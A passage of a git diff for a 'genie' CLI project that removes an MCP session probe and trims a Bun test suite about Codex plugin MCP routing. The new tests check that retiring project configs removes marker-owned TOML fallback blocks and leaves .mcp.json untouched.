detail: `bounded MCP session timed out after ${timeoutMs}ms` }; - } - - const byId = indexRepliesById(spawned.stdout); - - const initError = replyError(byId.get(1), 'initialize'); - if (initError !== null) { - return { ok: false, detail: `${initError}${spawned.stderr ? `; launcher stderr: ${spawned.stderr.trim()}` : ''}` }; - } - - const listReply = byId.get(2); - const listError = replyError(listReply, 'tools/list'); - if (listError !== null) return { ok: false, detail: listError }; - const tools = listedToolNames(listReply as JsonRpcReply); - const missing = requiredTools.filter((name) => !tools.includes(name)); - if (missing.length > 0) { - return { ok: false, detail: `bounded MCP session missing required Genie tools: ${missing.join(', ')}` }; - } - - const callReply = byId.get(3); - const callError = replyError(callReply, 'genie_wish_status'); - if (callError !== null) return { ok: false, detail: callError }; - const callResult = (callReply as JsonRpcReply).result as { isError?: unknown; structuredContent?: unknown }; - if (!wishStatusIsReadOnlyHealthy(callResult)) { - return { ok: false, detail: 'read-only genie_wish_status did not return a non-error result' }; - } - - return { - ok: true, - detail: 'bounded MCP session completed initialize, tools/list, and read-only wish_status', - tools, - wishStatusReadOnly: true, - }; -} diff --git a/src/lib/codex-project-mcp.test.ts b/src/lib/codex-project-mcp.test.ts index 53b89cbbc..ab9c574e4 100644 --- a/src/lib/codex-project-mcp.test.ts +++ b/src/lib/codex-project-mcp.test.ts @@ -1,789 +1,83 @@ import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; -import { execFileSync } from 'node:child_process'; -import { - chmodSync, - cpSync, - existsSync, - mkdirSync, - mkdtempSync, - readFileSync, - realpathSync, - rmSync, - symlinkSync, - writeFileSync, -} from 'node:fs'; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; -import { dirname, join } from 'node:path'; -import { - type CodexPluginProbe, - genieFacadeMcpEntry, - genieMcpEntry, - inspectCodexPluginMcpUsability, - inspectCodexProjectMcp, - preflightCodexPluginMutation, - probeCodexGeniePlugin, - reconcileCodexProjectMcp, - registerProjectMcpConfigs, - resolveGitProjectRoots, - resolveGitWorktreeRoot, -} from './codex-project-mcp.js'; +import { join } from 'node:path'; +import * as projectMcp from './codex-project-mcp.js'; +import { retireProjectMcpConfigs } from './codex-project-mcp.js'; let root: string; -const enabled: CodexPluginProbe = { - cliAvailable: true, - status: 'ok', - installed: true, - enabled: true, - usable: true, - detail: 'enabled', -}; -const disabled: CodexPluginProbe = { - cliAvailable: true, - status: 'ok', - installed: true, - enabled: false, - usable: false, - detail: 'disabled', -}; - beforeEach(() => { - root = mkdtempSync(join(tmpdir(), 'genie-project-mcp-')); -}); - -afterEach(() => { - rmSync(root, { recursive: true, force: true }); + root = mkdtempSync(join(tmpdir(), 'genie-project-mcp-retirement-')); }); -function git(cwd: string, args: string[]): string { - return execFileSync('git', args, { cwd, encoding: 'utf8', stdio: ['ignore', 'pipe', 'pipe'] }).trim(); -} +afterEach(() => rmSync(root, { recursive: true, force: true })); -function seedActivePlugin(version = '1.2.3'): { - codexHome: string; - pluginRoot: string; - genieHome: string; - nodePath: string; - version: string; -} { - const codexHome = join(root, 'codex-home'); - const pluginRoot = join(codexHome, 'plugins', 'cache', 'automagik', 'genie', version); - mkdirSync(dirname(pluginRoot), { recursive: true }); - cpSync(join(import.meta.dir, '..', '..', 'plugins', 'genie'), pluginRoot, { - recursive: true, - dereference: false, - verbatimSymlinks: true, - }); - const manifestPath = join(pluginRoot, '.codex-plugin', 'plugin.json'); - const manifest = JSON.parse(readFileSync(manifestPath, 'utf8')) as Record<string, unknown>; - manifest.version = version; - // Group A removed the Codex plugin MCP route from the SHIPPED payload, so the - // fixture reconstructs a hypothetical plugin-with-MCP layout to keep exercising - // the fail-closed usability guard (launcher/node/binary). The removal itself is - // proven separately against the real source plugin. - manifest.mcpServers = './.mcp.json'; - writeFileSync(manifestPath, `${JSON.stringify(manifest, null, 2)}\n`); - writeFileSync( - join(pluginRoot, '.mcp.json'), - `${JSON.stringify({ mcp_servers: { genie: { command: 'node', args: ['./scripts/mcp-launcher.cjs'], cwd: '.' } } }, null, 2)}\n`, - ); - const genieHome = join(root, 'genie-home'); - const binary = join(genieHome, 'bin', process.platform === 'win32' ? 'genie.exe' : 'genie'); - const nodePath = join(root, 'controlled-bin', 'node'); - mkdirSync(dirname(binary), { recursive: true }); - mkdirSync(dirname(nodePath), { recursive: true }); - writeFileSync(binary, 'fixture binary'); - writeFileSync(nodePath, 'fixture node'); - chmodSync(binary, 0o755); - chmodSync(nodePath, 0o755); - return { codexHome, pluginRoot, genieHome, nodePath, version }; -} - -describe('project MCP executable entry', () => { - test('records absolute executable plus script args for interpreted source and dist runs', () => { - const repoRoot = join(import.meta.dir, '..', '..'); - const sourceEntry = join(repoRoot, 'src', 'genie.ts'); - const distRoot = join(root, 'dist'); - const build = Bun.spawnSync([process.execPath, 'build', sourceEntry, '--outdir', distRoot, '--target', 'bun'], { - cwd: repoRoot, - stdout: 'pipe', - stderr: 'pipe', - }); - expect(build.exitCode).toBe(0); - - for (const script of [sourceEntry, join(distRoot, 'genie.js')]) { - const entry = genieMcpEntry(undefined, [process.execPath, script]); - expect(entry.command).toBe(realpathSync(process.execPath)); - expect(entry.args).toEqual([realpathSync(script), 'mcp']); - const invocation = Bun.spawnSync([entry.command, ...entry.args, '--help'], { - cwd: root, - env: { ...process.env, HOME: root, GENIE_HOME: join(root, '.genie') }, - stdout: 'pipe', - stderr: 'pipe', - }); - expect(invocation.exitCode).toBe(0); - expect(invocation.stdout.toString()).toContain('Usage: genie mcp'); +describe('retireProjectMcpConfigs', () => { + test('exports no registration or revival API', () => { + for (const name of [ + 'genieMcpEntry', + 'mergeCodexMcpFallback', + 'preflightCodexPluginMutation', + 'reconcileCodexProjectMcp', + 'registerProjectMcpConfigs', + ]) { + expect(Object.hasOwn(projectMcp, name), name).toBe(false); } - - expect(genieMcpEntry('/absolute/compiled-genie')).toEqual({ - command: '/absolute/compiled-genie', - args: ['mcp'], - }); - }); -}); - -describe('genieFacadeMcpEntry (marker-owned Codex route)', () => { - test('is the stable <GENIE_HOME>/bin/genie facade with args ["mcp"] and no cwd override', () => { - expect(genieFacadeMcpEntry('/home/u/.genie', 'linux')).toEqual({ - command: '/home/u/.genie/bin/genie', - args: ['mcp'], - }); - // No effective cwd override is part of the entry (source omits it entirely). - expect(genieFacadeMcpEntry('/home/u/.genie', 'linux')).not.toHaveProperty('cwd'); - }); - - test('uses genie.exe on win32 and is independent of the running executable', () => { - expect(genieFacadeMcpEntry('C:/Users/u/.genie', 'win32')).toEqual({ - command: 'C:/Users/u/.genie/bin/genie.exe', - args: ['mcp'], - }); - // A relocated GENIE_HOME yields a different facade — the command is not the cache/execPath. - expect(genieFacadeMcpEntry('/relocated/home', 'linux').command).toBe('/relocated/home/bin/genie'); - }); -}); - -describe('Codex plugin MCP route removal (Group A)', () => { - test('the shipped Codex plugin manifest declares NO mcpServers and NO MCP capability', () => { - const manifest = JSON.parse( - readFileSync(join(import.meta.dir, '..', '..', 'plugins', 'genie', '.codex-plugin', 'plugin.json'), 'utf8'), - ) as { mcpServers?: unknown; interface?: { capabilities?: unknown } }; - expect(manifest.mcpServers).toBeUndefined(); - expect(manifest.interface?.capabilities).not.toContain('MCP'); - }); - - test('the shipped Codex plugin payload ships no .mcp.json route file', () => { - expect(existsSync(join(import.meta.dir, '..', '..', 'plugins', 'genie', '.mcp.json'))).toBe(false); - }); - - test('a real (unaltered) plugin copy is never a usable MCP provider — the guard fails closed', () => { - const pluginRoot = join(root, 'real-plugin'); - cpSync(join(import.meta.dir, '..', '..', 'plugins', 'genie'), pluginRoot, { - recursive: true, - dereference: false, - verbatimSymlinks: true, - }); - const manifest = JSON.parse(readFileSync(join(pluginRoot, '.codex-plugin', 'plugin.json'), 'utf8')) as { - version: string; - }; - const result = inspectCodexPluginMcpUsability({ - pluginRoot, - expectedPluginName: 'genie', - expectedVersion: manifest.version, - genieHome: join(root, 'genie-home'), - resolveCommand: () => join(root, 'node'), - }); - expect(result.usable).toBe(false); - // It fails at the manifest indirection because the route was removed. - expect(result.detail).toContain('mcpServers'); - }); - - // Claude's separate inline launcher contract MUST remain intact. - test("Claude's plugin manifest still declares its own inline mcpServers launcher", () => { - const claude = JSON.parse( - readFileSync(join(import.meta.dir, '..', '..', 'plugins', 'genie', '.claude-plugin', 'plugin.json'), 'utf8'), - ) as { mcpServers?: { genie?: { command?: string; args?: string[] } } }; - expect(claude.mcpServers?.genie?.command).toBe('node'); - expect(claude.mcpServers?.genie?.args?.[0]).toContain('mcp-launcher.cjs'); - }); -}); - -describe('resolveGitWorktreeRoot', () => { - test('resolves root, nested directory, and linked worktree to their own working-tree roots', () => { - const repo = join(root, 'repo'); - mkdirSync(join(repo, 'src', 'nested'), { recursive: true }); - git(repo, ['init', '-q']); - git(repo, ['config', 'user.email', 'test@example.com']); - git(repo, ['config', 'user.name', 'Test']); - git(repo, ['commit', '--allow-empty', '-q', '-m', 'root']); - const linked = join(root, 'linked'); - git(repo, ['worktree', 'add', '-q', '-b', 'linked-fixture', linked]); - - expect(resolveGitWorktreeRoot(repo)).toBe(repo); - expect(resolveGitWorktreeRoot(join(repo, 'src', 'nested'))).toBe(repo); - expect(resolveGitWorktreeRoot(linked)).toBe(linked); - expect(resolveGitProjectRoots(linked)).toEqual({ worktreeRoot: linked, commonRoot: repo }); }); - - test('nested init binds the resolved host git and rejects a repo-root PATH decoy', () => { - const repo = join(root, 'nested-init'); - const nested = join(repo, 'packages', 'app'); - mkdirSync(nested, { recursive: true }); - git(repo, ['init', '-q']); - - const trustedGit = Bun.which('git'); - if (!trustedGit) throw new Error('git is required'); - let invoked = ''; - const fakeExec = ((command: string) => { - invoked = command; - return `${repo}\n${join(repo, '.git')}\n`; - }) as typeof execFileSync; - expect(resolveGitProjectRoots(nested, fakeExec, 1_000, () => trustedGit)).toEqual({ - worktreeRoot: repo, - commonRoot: repo, - }); - expect(invoked).toBe(realpathSync(trustedGit)); - - const decoy = join(repo, 'bin', process.platform === 'win32' ? 'git.exe' : 'git'); - mkdirSync(dirname(decoy), { recursive: true }); - writeFileSync(decoy, 'repo-controlled decoy'); - chmodSync(decoy, 0o755); - invoked = ''; - expect(resolveGitProjectRoots(nested, fakeExec, 1_000, () => decoy)).toBeNull(); - expect(invoked).toBe(''); - }); -}); - -describe('probeCodexGeniePlugin', () => { - test('nested init rejects a Codex executable selected from the enclosing repository root', () => { - const repo = join(root, 'codex-decoy-repo'); - const nested = join(repo, 'packages', 'app'); - const decoy = join(repo, 'bin', process.platform === 'win32' ? 'codex.exe' : 'codex'); - mkdirSync(join(repo, '.git'), { recursive: true }); - mkdirSync(nested, { recursive: true }); - mkdirSync(dirname(decoy), { recursive: true }); - writeFileSync(decoy, 'repo-controlled decoy'); - chmodSync(decoy, 0o755); - let calls = 0; - const probe = probeCodexGeniePlugin({ - cwd: nested, - which: () => decoy, - run: () => { - calls += 1; - return { exitCode: 0, stdout: '{"installed":[]}', stderr: '' }; - }, - }); - expect(calls).toBe(0); - expect(probe.status).toBe('error'); - expect(probe.detail).toContain('repository-local'); - }); - - test('queries once with a deadline and reports a timeout actionably', () => { - let calls = 0; - const probe = probeCodexGeniePlugin({ - which: () => process.execPath, - timeoutMs: 17, - run: (_command, _args, timeoutMs) => { - calls += 1; - expect(timeoutMs).toBe(17); - return { exitCode: 1, stdout: '', stderr: '', timedOut: true }; - }, - }); - expect(calls).toBe(1); - expect(probe).toMatchObject({ status: 'error', timedOut: true }); - expect(probe.detail).toContain('17ms'); - expect(probe.detail).toContain('retaining the project fallback'); - }); - - test('wrong-shaped valid JSON becomes a structured error, not a throw', () => { - const probe = probeCodexGeniePlugin({ - which: () => process.execPath, - run: () => ({ exitCode: 0, stdout: '{"installed":{}}', stderr: '' }), - }); - expect(probe.status).toBe('error'); - expect(probe.detail).toContain('invalid Codex plugin response'); - }); - - test('duplicate Genie plugin snapshots fail closed and retain the fallback', () => { - let command = ''; - const probe = probeCodexGeniePlugin({ - which: () => process.execPath, - run: (resolved) => { - command = resolved; - return { - exitCode: 0, - stdout: JSON.stringify({ - installed: [ - { pluginId: 'genie@automagik', enabled: true, version: '1' }, - { pluginId: 'genie@automagik', enabled: false, version: '1' }, - ], - }), - stderr: '', - }; - }, - }); - expect(command).toBe(realpathSync(process.execPath)); - expect(probe).toMatchObject({ status: 'error', installed: false }); - expect(probe.detail).toContain('expected exactly one'); - expect(reconcileCodexProjectMcp(root, probe, { command: '/absolute/genie', args: ['mcp'] }).route).toBe('fallback'); - }); - - test('enabled metadata is usable only when the launcher and canonical binary inspection passes', () => { - const fixture = seedActivePlugin('1'); - const probe = probeCodexGeniePlugin({ - which: () => process.execPath, - codexHome: fixture.codexHome, - run: () => ({ - exitCode: 0, - stdout: - '{"installed":[{"pluginId":"genie@automagik","name":"genie","marketplaceName":"automagik","enabled":true,"version":"1"}]}', - stderr: '', - }), - inspectUsability: (options) => { - expect(options.pluginRoot).toBe(fixture.pluginRoot); - return { usable: true, detail: 'fixture launcher usable', pluginRoot: options.pluginRoot ?? undefined }; - }, - }); - expect(probe).toMatchObject({ - status: 'ok', - installed: true, - enabled: true, - usable: true, - activePluginRoot: fixture.pluginRoot, - }); - expect(probe.detail).toContain('fixture launcher usable'); - }); - - test('missing active cache is unproven even when an enabled source plugin is healthy', () => { - const sourceRoot = join(root, 'source'); - mkdirSync(join(sourceRoot, 'plugins'), { recursive: true }); - cpSync(join(import.meta.dir, '..', '..', 'plugins', 'genie'), join(sourceRoot, 'plugins', 'genie'), { - recursive: true, - dereference: false, - verbatimSymlinks: true, - }); - expect(existsSync(join(sourceRoot, 'plugins', 'genie', 'scripts', 'mcp-launcher.cjs'))).toBe(true); - let inspected = false; - const probe = probeCodexGeniePlugin({ - which: () => process.execPath, - codexHome: join(root, 'codex-home'), - run: () => ({ - exitCode: 0, - stdout: '{"installed":[{"pluginId":"genie@automagik","enabled":true,"version":"9.9.9"}]}', - stderr: '', - }), - inspectUsability: () => { - inspected = true; - return { usable: true, detail: 'must not inspect source' }; - }, - }); - expect(inspected).toBe(false); - expect(probe).toMatchObject({ status: 'ok', installed: true, enabled: true, usable: false }); - expect(probe.activePluginRoot).toBeUndefined(); - expect(probe.usabilityDetail).toContain('active plugin root is unavailable or incomplete'); - }); - - test('unsafe snapshot version and escaped installedPath both fail closed before inspection', () => { - const fixture = seedActivePlugin('1.2.3'); - mkdirSync(join(root, 'source', 'plugins', 'genie'), { recursive: true }); - for (const entry of [ - { pluginId: 'genie@automagik', enabled: true, version: '../../source' }, - { - pluginId: 'genie@automagik', - enabled: true, - version: '1.2.3', - installedPath: `${root}/source/../source/plugins/genie`, - }, + test('never parses or rewrites .mcp.json', () => { + for (const original of [ + '{ definitely not json\n', + '{\n "mcpServers": { "genie": { "command": "/old/genie", "args": ["mcp"] } }\n}\n', ]) { - let inspected = false; - const probe = probeCodexGeniePlugin({ - which: () => process.execPath, - codexHome: fixture.codexHome, - run: () => ({ exitCode: 0, stdout: JSON.stringify({ installed: [entry] }), stderr: '' }), - inspectUsability: () => { - inspected = true; - return { usable: true, detail: 'unexpected' }; - }, - }); - expect(inspected).toBe(false); - expect(probe.usable).toBe(false); - expect(probe.activePluginRoot).toBeUndefined(); - expect(probe.usabilityDetail).toMatch(/no safe version|traversal/); + writeFileSync(join(root, '.mcp.json'), original); + expect(retireProjectMcpConfigs(root)[0]).toMatchObject({ action: 'skipped' }); + expect(readFileSync(join(root, '.mcp.json'), 'utf8')).toBe(original); } }); - test('a physical absolute installedPath is accepted, but manifest mismatch and symlink roots fail closed', () => { - const fixture = seedActivePlugin('7.8.9'); - const installedPath = join(root, 'reported-plugin'); - cpSync(fixture.pluginRoot, installedPath, { recursive: true, dereference: false, verbatimSymlinks: true }); - const snapshot = (path: string) => - JSON.stringify({ - installed: [ - { pluginId: 'genie@automagik', name: 'genie', enabled: true, version: fixture.version, installedPath: path }, - ], - }); - const probe = (path: string) => - probeCodexGeniePlugin({ - which: () => process.execPath, - codexHome: fixture.codexHome, - run: () => ({ exitCode: 0, stdout: snapshot(path), stderr: '' }), - inspectUsability: (options) => - inspectCodexPluginMcpUsability({ - ...options, - genieHome: fixture.genieHome, - resolveCommand: () => fixture.nodePath, - }), - }); - expect(probe(installedPath)).toMatchObject({ usable: true, activePluginRoot: installedPath }); - - const manifestPath = join(installedPath, '.codex-plugin', 'plugin.json'); - const manifest = JSON.parse(readFileSync(manifestPath, 'utf8')) as Record<string, unknown>; - manifest.version = 'wrong'; - writeFileSync(manifestPath, JSON.stringify(manifest)); - expect(probe(installedPath).usabilityDetail).toContain('identity/version mismatch'); - - const symlinkPath = join(root, 'reported-link'); - symlinkSync(installedPath, symlinkPath, 'dir'); - expect(probe(symlinkPath).usabilityDetail).toContain('not a physical directory'); - }); -}); - -describe('official plugin MCP usability', () => { - test('requires the active cached launcher plus an executable canonical GENIE_HOME binary', () => { - const fixture = seedActivePlugin(); - const binary = join(fixture.genieHome, 'bin', process.platform === 'win32' ? 'genie.exe' : 'genie'); - const options = { - pluginRoot: fixture.pluginRoot, - expectedPluginName: 'genie', - expectedVersion: fixture.version, - genieHome: fixture.genieHome, - resolveCommand: () => fixture.nodePath, - }; - expect(inspectCodexPluginMcpUsability(options).usable).toBe(true); - rmSync(binary); - const missing = inspectCodexPluginMcpUsability(options); - expect(missing.usable).toBe(false); - expect(missing.detail).toContain('no such file'); - }); - - test('missing configured Node command keeps the absolute project fallback', () => { - const fixture = seedActivePlugin(); - const usability = inspectCodexPluginMcpUsability({ - pluginRoot: fixture.pluginRoot, - expectedPluginName: 'genie', - expectedVersion: fixture.version, - genieHome: fixture.genieHome, - resolveCommand: () => null, - }); - expect(usability.usable).toBe(false); - expect(usability.detail).toContain('"node" is not available on PATH'); - - const plugin: CodexPluginProbe = { - cliAvailable: true, - status: 'ok', - installed: true, - enabled: true, - usable: usability.usable, - usabilityDetail: usability.detail, - detail: usability.detail, - }; - const result = reconcileCodexProjectMcp(root, plugin, { command: '/absolute/genie', args: ['mcp'] }); - expect(result.route).toBe('fallback'); - expect(readFileSync(join(root, '.codex', 'config.toml'), 'utf8')).toContain('/absolute/genie'); - }); - - test('rejects configured Node from the active project or linked-worktree common checkout', () => { - const fixture = seedActivePlugin(); - const inspect = (cwd: string, nodePath: string) => - inspectCodexPluginMcpUsability({ - pluginRoot: fixture.pluginRoot, - expectedPluginName: 'genie', - expectedVersion: fixture.version, - genieHome: fixture.genieHome, - cwd, - resolveCommand: () => nodePath, - }); - - const project = join(root, 'active-project'); - mkdirSync(join(project, '.git'), { recursive: true }); - const projectNode = join(project, 'bin', 'node'); - mkdirSync(dirname(projectNode), { recursive: true }); - writeFileSync(projectNode, 'decoy'); - chmodSync(projectNode, 0o755); - expect(inspect(project, projectNode).detail).toContain('repository-local'); - - const main = join(root, 'main'); - const linked = join(root, 'linked'); - const linkedGitDir = join(main, '.git', 'worktrees', 'linked'); - mkdirSync(linkedGitDir, { recursive: true }); - mkdirSync(linked, { recursive: true }); - writeFileSync(join(linked, '.git'), `gitdir: ${linkedGitDir}\n`); - writeFileSync(join(linkedGitDir, 'commondir'), '../..\n'); - const commonNode = join(main, 'bin', 'node'); - mkdirSync(dirname(commonNode), { recursive: true }); - writeFileSync(commonNode, 'decoy'); - chmodSync(commonNode, 0o755); - expect(inspect(linked, commonNode).detail).toContain('repository-local'); - }); - - test('unsupported camelCase plugin MCP config fails closed', () => { - const fixture = seedActivePlugin(); - writeFileSync( - join(fixture.pluginRoot, '.mcp.json'), - JSON.stringify({ - mcpServers: { - genie: { command: 'node', args: ['./scripts/mcp-launcher.cjs'], cwd: '.' }, - }, - }), - ); - const result = inspectCodexPluginMcpUsability({ - pluginRoot: fixture.pluginRoot, - expectedPluginName: 'genie', - expectedVersion: fixture.version, - genieHome: fixture.genieHome, - resolveCommand: () => fixture.nodePath, - }); - expect(result.usable).toBe(false); - expect(result.detail).toContain('unsupported camelCase mcpServers'); - }); - - test('healthy source does not mask a missing launcher in the active cached payload', () => { - const fixture = seedActivePlugin(); - const sourceLauncher = join(import.meta.dir, '..', '..', 'plugins', 'genie', 'scripts', 'mcp-launcher.cjs'); - expect(existsSync(sourceLauncher)).toBe(true); - rmSync(join(fixture.pluginRoot, 'scripts', 'mcp-launcher.cjs')); - const result = inspectCodexPluginMcpUsability({ - pluginRoot: fixture.pluginRoot, - expectedPluginName: 'genie', - expectedVersion: fixture.version, - genieHome: fixture.genieHome, - resolveCommand: () => fixture.nodePath, - }); - expect(result.usable).toBe(false); - expect(result.pluginRoot).toBe(fixture.pluginRoot); - expect(result.detail).toMatch(/no such file|ENOENT/); - }); -}); - -describe('Codex plugin/fallback reconciliation', () => { - const configPath = () => join(root, '.codex', 'config.toml'); - - test('enabled plugin removes only the marker-owned fallback', () => { + test('removes exactly one complete owned marker pair and keeps unrelated TOML', () => { + const config = join(root, '.codex', 'config.toml'); mkdirSync(join(root, '.codex'), { recursive: true }); writeFileSync( - configPath(), - 'model = "x"\n\n# BEGIN GENIE MCP FALLBACK\n[mcp_servers.genie]\ncommand = "/old"\nargs = ["mcp"]\n# END GENIE MCP FALLBACK\n\n[mcp_servers.other]\ncommand = "x"\n', + config, + 'model = "keep"\n# BEGIN GENIE MCP FALLBACK\n[mcp_servers.genie]\ncommand = "/old"\nargs = ["mcp"]\n# END GENIE MCP FALLBACK\n', ); - const result = reconcileCodexProjectMcp(root, enabled, { command: '/genie', args: ['mcp'] }); - expect(result).toMatchObject({ ok: true, route: 'plugin', action: 'updated' }); - const content = readFileSync(configPath(), 'utf8'); - expect(content).not.toContain('GENIE MCP FALLBACK'); - expect(content).toContain('[mcp_servers.other]'); - }); - test('disabled plugin preserves or creates the absolute fallback', () => { - const result = reconcileCodexProjectMcp(root, disabled, { command: '/absolute/genie', args: ['mcp'] }); - expect(result).toMatchObject({ ok: true, route: 'fallback', action: 'created' }); - expect(readFileSync(configPath(), 'utf8')).toContain('command = "/absolute/genie"'); - expect(readFileSync(configPath(), 'utf8')).toContain('mcp_servers.genie.command = "/absolute/genie"'); - expect(readFileSync(configPath(), 'utf8')).not.toContain('[mcp_servers.genie]'); - expect(inspectCodexProjectMcp(root, disabled).route).toBe('fallback'); + expect(retireProjectMcpConfigs(root)[1]).toMatchObject({ action: 'updated' }); + expect(readFileSync(config, 'utf8')).toBe('model = "keep"\n'); }); - test('marker-owned dotted TOML never captures following root keys and removal preserves semantics', () => { + test('refuses duplicate or incomplete markers without mutation', () => { + const config = join(root, '.codex', 'config.toml'); mkdirSync(join(root, '.codex'), { recursive: true }); - const original = 'model = "gpt-5"\nreasoning = "high"\n\n[features]\napps = true\n'; - writeFileSync(configPath(), original); - - expect(reconcileCodexProjectMcp(root, disabled, { command: '/absolute/genie', args: ['mcp'] }).action).toBe( - 'updated', - ); - const withFallback = readFileSync(configPath(), 'utf8'); - const before = Bun.TOML.parse(withFallback) as Record<string, unknown>; - expect(before.model).toBe('gpt-5'); - expect(before.reasoning).toBe('high'); - expect(before.features).toEqual({ apps: true }); - expect(reconcileCodexProjectMcp(root, disabled, { command: '/absolute/genie', args: ['mcp'] }).action).toBe( - 'skipped', - ); - expect(readFileSync(configPath(), 'utf8')).toBe(withFallback); - - reconcileCodexProjectMcp(root, enabled, { command: '/absolute/genie', args: ['mcp'] }); - const removed = readFileSync(configPath(), 'utf8'); - const after = Bun.TOML.parse(removed) as Record<string, unknown>; - expect(after).toEqual({ model: 'gpt-5', reasoning: 'high', features: { apps: true } }); - expect(removed).toBe(original); - }); - - test('refuses to remove an ambiguous legacy table block that captured a following key', () => { - mkdirSync(join(root, '.codex'), { recursive: true }); - const ambiguous = - '# BEGIN GENIE MCP FALLBACK\n[mcp_servers.genie]\ncommand = "/old"\nargs = ["mcp"]\n# END GENIE MCP FALLBACK\nmodel = "captured"\n'; - writeFileSync(configPath(), ambiguous); - - expect(() => reconcileCodexProjectMcp(root, enabled, { command: '/genie', args: ['mcp'] })).toThrow( - /change non-Genie TOML semantics/, - ); - expect(readFileSync(configPath(), 'utf8')).toBe(ambiguous); - }); - - test('query failure conservatively keeps one fallback', () => { - const failed: CodexPluginProbe = { - cliAvailable: true, - status: 'error', - installed: false, - detail: 'query timed out', - timedOut: true, - }; - expect(reconcileCodexProjectMcp(root, failed, { command: '/g', args: ['mcp'] }).route).toBe('fallback'); - expect(reconcileCodexProjectMcp(root, failed, { command: '/g', args: ['mcp'] }).action).toBe('skipped'); - }); - - test('enabled plugin with an incomplete active cache retains the marker-owned absolute fallback', () => { - const fixture = seedActivePlugin('4.5.6'); - rmSync(join(fixture.pluginRoot, 'scripts', 'mcp-launcher.cjs')); - const probe = probeCodexGeniePlugin({ - which: () => process.execPath, - codexHome: fixture.codexHome, - run: () => ({ - exitCode: 0, - stdout: '{"installed":[{"pluginId":"genie@automagik","enabled":true,"version":"4.5.6"}]}', - stderr: '', - }), - inspectUsability: (options) => - inspectCodexPluginMcpUsability({ - ...options, - genieHome: fixture.genieHome, - resolveCommand: () => fixture.nodePath, - }), - }); - expect(probe).toMatchObject({ installed: true, enabled: true, usable: false }); - expect(probe.usabilityDetail).toMatch(/no such file|ENOENT/); - const result = reconcileCodexProjectMcp(root, probe, { command: '/absolute/genie', args: ['mcp'] }); - expect(result).toMatchObject({ ok: true, route: 'fallback', action: 'created' }); - expect(readFileSync(configPath(), 'utf8')).toContain('command = "/absolute/genie"'); - }); - - test('marker-owned fallback updates its canonical absolute command without duplication', () => { - expect(reconcileCodexProjectMcp(root, disabled, { command: '/old/genie', args: ['mcp'] }).action).toBe('created'); - expect(reconcileCodexProjectMcp(root, disabled, { command: '/new/genie', args: ['mcp'] }).action).toBe('updated'); - const content = readFileSync(configPath(), 'utf8'); - expect(content).toContain('command = "/new/genie"'); - expect(content).not.toContain('/old/genie'); - expect(content.match(/BEGIN GENIE MCP FALLBACK/g)).toHaveLength(1); - }); - - test('enabled plugin plus unmanaged fallback is reported as a conflict and preserved', () => { - mkdirSync(join(root, '.codex'), { recursive: true }); - const original = '[mcp_servers.genie]\ncommand = "/personal"\nargs = ["mcp"]\n'; - writeFileSync(configPath(), original); - const result = reconcileCodexProjectMcp(root, enabled, { command: '/g', args: ['mcp'] }); - expect(result).toMatchObject({ ok: false, route: 'conflict', action: 'skipped' }); - expect(readFileSync(configPath(), 'utf8')).toBe(original); - expect(preflightCodexPluginMutation(root)).toMatchObject({ ok: false, path: configPath() }); - }); - - test('quoted TOML keys are recognized as the same unmanaged Genie fallback', () => { - mkdirSync(join(root, '.codex'), { recursive: true }); - const original = '[mcp_servers."genie"]\ncommand = "/personal"\nargs = ["mcp"]\n'; - writeFileSync(configPath(), original); - const result = reconcileCodexProjectMcp(root, enabled, { command: '/g', args: ['mcp'] }); - expect(result).toMatchObject({ ok: false, route: 'conflict', action: 'skipped' }); - expect(readFileSync(configPath(), 'utf8')).toBe(original); - expect(preflightCodexPluginMutation(root).ok).toBe(false); - }); - - test('an unmanaged fallback is preserved byte-for-byte but remains unverified when plugin health is unknown', () => { - mkdirSync(join(root, '.codex'), { recursive: true }); - const original = '# personal route\n[mcp_servers.genie]\ncommand = "/personal"\nargs = ["mcp"]\n'; - writeFileSync(configPath(), original); - const unproven: CodexPluginProbe = { - cliAvailable: true, - status: 'ok', - installed: true, - enabled: true, - usable: false, - detail: 'active plugin cache missing', - }; - const result = reconcileCodexProjectMcp(root, unproven, { command: '/absolute/genie', args: ['mcp'] }); - expect(result).toMatchObject({ ok: false, route: 'unmanaged-fallback', action: 'skipped' }); - expect(result.detail).toContain('unverified'); - expect(readFileSync(configPath(), 'utf8')).toBe(original); - expect(inspectCodexProjectMcp(root, unproven)).toMatchObject({ ok: false, route: 'unmanaged-fallback' }); + const fixtures = [ + '# BEGIN GENIE MCP FALLBACK\n[mcp_servers.genie]\n', + '# BEGIN GENIE MCP FALLBACK\n# END GENIE MCP FALLBACK\n# BEGIN GENIE MCP FALLBACK\n# END GENIE MCP FALLBACK\n', + ]; + for (const original of fixtures) { + writeFileSync(config, original); + expect(() => retireProjectMcpConfigs(root)).toThrow(); + expect(readFileSync(config, 'utf8')).toBe(original); + } }); }); -describe('registerProjectMcpConfigs', () => { - test('explicit init creates the marker-owned Codex fallback when the CLI is absent', () => { - const unavailable: CodexPluginProbe = { - cliAvailable: false, - status: 'unavailable', - installed: false, - detail: 'Codex CLI not found', - }; - const results = registerProjectMcpConfigs(root, { - pluginProbe: unavailable, - entry: { command: '/absolute/genie', args: ['mcp'] }, - }); - const codexPath = join(root, '.codex', 'config.toml'); - expect(results.some((result) => result.path === codexPath && result.action === 'created')).toBe(true); - expect(readFileSync(codexPath, 'utf8')).toContain('# BEGIN GENIE MCP FALLBACK'); - expect(readFileSync(codexPath, 'utf8')).toContain('/absolute/genie'); - }); - - test('preflights the JSON config and rejects wrong-shaped valid JSON before any sibling write', () => { - writeFileSync(join(root, '.mcp.json'), '{"mcpServers":[]}'); - expect(() => - registerProjectMcpConfigs(root, { - pluginProbe: enabled, - entry: { command: '/g', args: ['mcp'] }, - }), - ).toThrow(/mcpServers.*must be an object/); - expect(readFileSync(join(root, '.mcp.json'), 'utf8')).toBe('{"mcpServers":[]}'); - expect(existsSync(join(root, '.codex', 'config.toml'))).toBe(false); - }); - - test('an enabled plugin leaves exactly one Codex route; a disabled plugin leaves exactly one fallback', () => { - registerProjectMcpConfigs(root, { pluginProbe: disabled, entry: { command: '/g', args: ['mcp'] } }); - expect(inspectCodexProjectMcp(root, disabled).route).toBe('fallback'); - registerProjectMcpConfigs(root, { pluginProbe: enabled, entry: { command: '/g', args: ['mcp'] } }); - expect(inspectCodexProjectMcp(root, enabled).route).toBe('plugin'); - expect(readFileSync(join(root, '.codex', 'config.toml'), 